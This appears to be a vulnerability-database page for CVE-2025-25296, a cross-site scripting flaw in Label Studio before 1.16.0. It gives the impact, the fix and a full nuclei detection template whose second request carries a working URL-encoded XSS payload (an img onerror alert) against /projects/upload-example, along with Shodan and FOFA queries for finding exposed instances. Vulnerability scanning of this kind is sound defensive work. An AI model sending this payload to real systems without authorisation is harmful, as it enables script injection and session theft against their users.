Browse / CVEs / CVE-2025-25296
CVE-2025-25296· humansignal / label-studio· CWE-79
Label Studio < 1.16.0 - Cross-Site Scripting
Label Studio prior to version 1.16.0 contains a cross-site scripting caused by rendering unsanitized user-provided HTML in the /projects/upload-example endpoint, letting attackers execute arbitrary JavaScript via crafted label_config in a GET request, exploit requires victims to visit malicious URL.
Impact
Attackers can execute arbitrary JavaScript in victims' browsers, potentially leading to data theft, session hijacking, or other malicious actions.
Fix
Update to version 1.16.0 or later to patch the vulnerability.
How to confirm it
Send: GET /version
Positive when: status_code == 200 and contains(body, "label-studio") and compare_versions(lsversion, "< 1.16.0")
Send: GET /projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.dom…
Positive when: contains "<img src=x onerror=alert(document.domain)>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2025-25296 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-25296
info:
name: Label Studio < 1.16.0 - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
Label Studio prior to version 1.16.0 contains a cross-site scripting caused by rendering unsanitized user-provided HTML in the /projects/upload-example endpoint, letting attackers execute arbitrary JavaScript via crafted label_config in a GET request, exploit requires victims to visit malicious URL.
impact: |
Attackers can execute arbitrary JavaScript in victims' browsers, potentially leading to data theft, session hijacking, or other malicious actions.
remediation: |
Update to version 1.16.0 or later to patch the vulnerability.
reference:
- https://github.com/HumanSignal/label-studio/security/advisories/GHSA-wpq5-3366-mqw4
- https://nvd.nist.gov/vuln/detail/CVE-2025-25296
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2025-25296
epss-score: 0.01898
epss-percentile: 0.79825
cwe-id: CWE-79
metadata:
verified: false
max-request: 2
vendor: humansignal
product: label-studio
shodan-query: title:"Label Studio"
fofa-query: title="Label Studio"
tags: cve,cve2025,label-studio,xss
flow: http(1) && http(2)
http:
- raw:
- |
GET /version HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "label-studio")'
- 'compare_versions(lsversion, "< 1.16.0")'
condition: and
internal: true
extractors:
- type: regex
name: lsversion
part: body
regex:
- '"release":\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)'
group: 1
internal: true
- raw:
- |
GET /projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fdiv%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22%2F%3E%3C%2FView%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src=x onerror=alert(document.domain)>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/HumanSignal/label-studio/security/advisories/GHSA-wpq5-3366-mqw4
- https://nvd.nist.gov/vuln/detail/CVE-2025-25296
Use this check only on systems you are authorised to test. Where the data comes from